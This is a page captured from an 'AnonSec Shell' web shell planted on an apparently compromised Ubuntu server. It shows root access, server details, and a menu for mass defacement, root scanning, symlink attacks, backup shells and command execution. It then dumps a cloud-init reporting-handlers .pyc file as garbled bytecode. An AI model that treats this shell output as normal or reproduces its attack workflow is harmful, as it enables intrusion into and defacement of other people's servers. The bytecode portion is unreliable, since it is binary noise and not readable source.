AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/cloudinit/reporting/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/cloudinit/reporting/__pycache__/handlers.cpython-310.pyc
o

x[h<�@sRddlZddlZddlZddlZddlZddlZddlZddlZddlZddl	Z	ddl
m
Z
mZddlmZddl
mZddlmZmZmZddlmZe�e�ZGdd�de�ZGd	d
�d
ejd�ZGdd
�d
e�ZGdd�de�ZGdd�de�ZGdd�de�ZeeeeeefZ e�Z!e!�"de�e!�"de�e!�"de�e!�"de�dS)�N)�datetime�timezone)�Event)�Union)�performance�
url_helper�util)�DictRegistryc@seZdZdS)�ReportExceptionN)�__name__�
__module__�__qualname__�rr�>/usr/lib/python3/dist-packages/cloudinit/reporting/handlers.pyr
sr
c@s&eZdZdZejdd��Zdd�ZdS)�ReportingHandlerz�Base class for report handlers.

    Implement :meth:`~publish_event` for controlling what
    the handler does with an event.
    cC�dS)zPublish an event.Nr��self�eventrrr�
publish_event"�zReportingHandler.publish_eventcCr)z0Ensure ReportingHandler has published all eventsNr�rrrr�flush&rzReportingHandler.flushN)rrr
�__doc__�abc�abstractmethodrrrrrrrs

r)�	metaclasscs*eZdZdZd�fdd�	Zdd�Z�ZS)�
LogHandlerzBPublishes events to the cloud-init log at the ``DEBUG`` log level.�DEBUGcs`tt|���t|t�r
n|}z	tt|���}Wnty*t	�
d|�tj}Ynw||_dS)Nzinvalid level '%s', using WARN)
�superr�__init__�
isinstance�int�getattr�logging�upper�	Exception�LOG�warning�WARN�level)rr*�input_level��	__class__rrr -s

�
zLogHandler.__init__cCs2t�d�dd|j|jg��}|�|j|���dS)N�.�	cloudinit�	reporting)r$�	getLogger�join�
event_type�name�logr*�	as_string)rr�loggerrrrr:s�zLogHandler.publish_event)r)rrr
rr r�
__classcell__rrr,rr*s
rc@seZdZdZdd�ZdS)�PrintHandlerzPrint the event as a string.cCst|���dS�N)�printr6rrrrrDszPrintHandler.publish_eventN)rrr
rrrrrrr9Asr9csBeZdZ						d
�fdd�	Zdd�Zdd�Zdd	�Z�ZS)�WebHookHandlerNc	s�tt|���t||||g�rtj||||d�}|j|_ntj|_||_||_||_	t
��|_t
�|_t��|_tj|jd�|_d|j_|j��dS)N)�consumer_key�	token_key�token_secret�consumer_secret��targetT)rr<r �anyr�OauthUrlHelper�readurl�endpoint�timeout�retriesr�fetch_ssl_details�ssl_detailsr�flush_requested�queue�Queue�	threading�Thread�process_requests�event_processor�daemon�start)	rrFr=r>r?r@rGrH�oauth_helperr,rrr Is&
�


zWebHookHandler.__init__c
Cs�d}	|j��r'|dkr't�d�|j��s%|j��|j��|j��rd}|jjdd�}z@z|j	|d|d|d|d|dd	d
�d}Wnt
yg}zt�d|d|�|d7}WYd}~nd}~wwW|j��n|j��wq)NrT�zNMultiple consecutive failures in WebHookHandler. Cancelling all queued events.��block���F)�datarGrHrJ�log_req_respz0Failed posting event: %s. This was caused by: %s)rK�is_setr'r(rL�empty�
get_nowait�	task_done�getrEr&)r�consecutive_failed�args�errrrPjsD�



�������zWebHookHandler.process_requestscCs@|��}t�d|j|�|j�|jt�|�|j|j	|j
f�dS)NzQueuing POST to %s, data: %s)�as_dictr'�debugrFrL�put�json�dumpsrGrHrJ)rr�
event_datarrrr�s���zWebHookHandler.publish_eventcCs,|j��t�d�|j��|j��dS)Nz(WebHookHandler flushing remaining events)rK�setr'rfrLr2�clearrrrrr�s


zWebHookHandler.flush)NNNNNN)rrr
r rPrrr8rrr,rr<Hs�!&r<cs�eZdZdZdZdZdZeeZdZdZ	dZ
dZd	Zd
Z
dZe
df�fd
d�	Zedd��Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zded ed!dfd"d#�Zd$d%�Zd&d'�Zd(d)�Zd*d+�Z�ZS),�HyperVKvpReportingHandlera,
    Reports events to a Hyper-V host using Key-Value-Pair exchange protocol
    and can be used to obtain high level diagnostic information from the host.

    To use this facility, the KVP user-space daemon (hv_kvp_daemon) has to be
    running. It reads the kvp_file when the host requests the guest to
    enumerate the KVP's.

    This reporter collates all events for a module (origin|name) in a single
    json string in the dictionary.

    For more information, see
    https://technet.microsoft.com/en-us/library/dn798287.aspx#Linux%20guests
    iii�
CLOUD_INIT�msg�result�msg_i)�,�:z/var/lib/hyperv/.kvp_pool_1FNcsrtt|���||_t�|j�||_t��|_|�	�|_
d�|j|j
�|_
tj|jd�|_d|j_|j��dS)Nz{0}|{1}rAT)rrmr �_kvp_file_path�_truncate_guest_pool_file�_event_typesrLrM�q�_get_incarnation_no�incarnation_no�format�EVENT_PREFIX�event_key_prefixrNrO�_publish_event_routine�publish_threadrRrS)r�
kvp_file_path�event_typesr,rrr �s �

��z"HyperVKvpReportingHandler.__init__c
Cs�|jrdSt��tt���}zFztj�|�|kr.t|d��Wd�n1s)wYWnt	t
fyI}zt�d|�WYd}~nd}~wwWd|_dSWd|_dSd|_w)a
        Truncate the pool file if it has not been truncated since boot.
        This should be done exactly once for the file indicated by
        KVP_POOL_FILE_GUEST constant above. This method takes a filename
        so that we can use an arbitrary file during unit testing.
        Since KVP is a best-effort telemetry channel we only attempt to
        truncate the file once and only if the file has not been modified
        since boot. Additional truncation can lead to loss of existing
        KVPs.
        N�wz$failed to truncate kvp pool file, %sT)
�_already_truncated_pool_file�time�floatr�uptime�os�path�getmtime�open�OSError�IOErrorr'r()�cls�kvp_file�	boot_timerdrrrru�s"�����
�z3HyperVKvpReportingHandler._truncate_guest_pool_filecCs@t��}ztt��t|��WStyt�d|�YdSw)z�
        use the time passed as the incarnation number.
        the incarnation number is the number which are used to
        distinguish the old data stored in kvp and the new data.
        z"uptime '%s' not in correct format.r)rr�r"r�r��
ValueErrorr'r()r�
uptime_strrrrrx�s�z-HyperVKvpReportingHandler._get_incarnation_noccs��t|jd��>}t�|tj�|�|�|�|j�}t|�|jkr6|�	|�}|V|�|j�}t|�|jks!t�|tj
�Wd�dS1sHwYdS)z-iterate the kvp file from the current offset.�rbN)r�rt�fcntl�flock�LOCK_EX�seek�read�HV_KVP_RECORD_SIZE�len�_decode_kvp_item�LOCK_UN)r�offset�f�record_data�kvp_itemrrr�
_iterate_kvps�s�

�"�z'HyperVKvpReportingHandler._iterate_kvpscCsd�|j|j|jt���S)z�
        the event key format is:
        CLOUD_INIT|<incarnation number>|<event_type>|<event_name>|<uuid>
        [|subevent_index]
        z{0}|{1}|{2}|{3})rzr|r3r4�uuid�uuid4rrrr�
_event_keys�z$HyperVKvpReportingHandler._event_keycCs*t�d|j|jf|�d�|�d��}|S)Nz%ds%ds�utf-8)�struct�pack�HV_KVP_EXCHANGE_MAX_KEY_SIZE�HV_KVP_EXCHANGE_MAX_VALUE_SIZE�encode�r�key�valuer[rrr�_encode_kvp_items���	z*HyperVKvpReportingHandler._encode_kvp_itemcCsdt|�}||jkrtd�||j���|d|j��d��d�}||j|j��d��d�}||d�S)Nz$record_data len not correct {0} {1}.rr��)r�r�)r�r�r
rzr��decode�strip)rr��record_data_len�k�vrrrr�!s$
���
��
z*HyperVKvpReportingHandler._decode_kvp_itemc	Cs�t�d|j����Ct|jd��$}t�|tj�|D]}|�|�q|��t�|tj	�Wd�n1s7wYWd�dSWd�dS1sOwYdS)Nz
Appending �ab)
r�Timedrtr�r�r�r��writerr�)rr�r�r[rrr�_append_kvp_item8s�P�z*HyperVKvpReportingHandler._append_kvp_itemcCs�||j=t�|�}|dt|�d�}d}g}d|jd}	|||j<d||j<tj||jd�}|jt|�d}	|�|d	j|j|d|	�d
��}
d�||�}|�	|�
||
��|d7}||	d�}|sh	|Sq)NrXr�"z":""T���
separators�z"{key}":"{desc}")r��descz{}|{})�MSG_KEYrhrir��DESC_IDX_KEY�JSON_SEPARATORS�HV_KVP_AZURE_MAX_VALUE_SIZE�replacerz�appendr�)rr��	meta_data�description�des_in_json�i�result_array�message_place_holder�data_without_desc�
room_for_descr��subkeyrrr�_break_downBs8


�����z%HyperVKvpReportingHandler._break_downr�r��returnc	Csft|�|jkr|d|jd�}|�||�g}z|�|�WdSttfy2t�d||�YdSw)zJWrite KVP key-value.

        Values will be truncated as needed.
        rrXzfailed posting kvp=%s value=%sN)r�r�r�r�r�r�r'r(r�rrr�	write_key`s�z#HyperVKvpReportingHandler.write_keycCs�|�|�}|j|jt�|jtj���d�}t	||j
�r!|j||j
<|j||j
<tj||jd�}t|�|jkr>|�|||j�S|�||�}|gS)z�
        encode the event into kvp data bytes.
        if the event content reaches the maximum length of kvp value.
        then it would be cut to multiple slices.
        )r4�type�tsr�)r�r4r3r�
fromtimestamp�	timestampr�utc�	isoformat�hasattr�
RESULT_KEYrpr�r�rhrir�r�r�r�r�)rrr�r�r�r[rrr�
_encode_eventos 
��	z'HyperVKvpReportingHandler._encode_eventc
Cs
	d}zv|jjdd�}|d7}g}|dur:||�|�7}z
|jjdd�}|d7}Wntjy5d}Ynw|dusz0z|�|�Wnttfy\}zt�	d|�WYd}~nd}~wwWt
|�D]}|j��qbn
t
|�D]}|j��qowWn
ty�YdSwq)NTrrVrXFz failed posting events to kvp, %s)
rwrar�rL�Emptyr�r�r�r'r(�ranger`�EOFError)r�items_from_queuer�encoded_datard�_rrrr}�s>���������z0HyperVKvpReportingHandler._publish_event_routinecCs&|jr	|j|jvr|j�|�dSdSr:)rvr3rwrgrrrrr�s�z'HyperVKvpReportingHandler.publish_eventcCst�d�|j��dS)Nz0HyperVReportingHandler flushing remaining events)r'rfrwr2rrrrr�s
zHyperVKvpReportingHandler.flush) rrr
rr�r�r�r�r{r�r�r�r��KVP_POOL_FILE_GUESTr�r �classmethodrurxr�r�r�r�r�r��strr�r�r}rrr8rrr,rrm�s:�



rmr5r;�webhook�hyperv)#rr�rhr$r�rLr�rNr�r�rrr�typingrr/rrr�cloudinit.registryr	r1rr'r&r
�ABCMetarrr9r<rm�HandlerType�available_handlers�
register_itemrrrr�<module>sJ
`��

Anon7 - 2022
AnonSec Team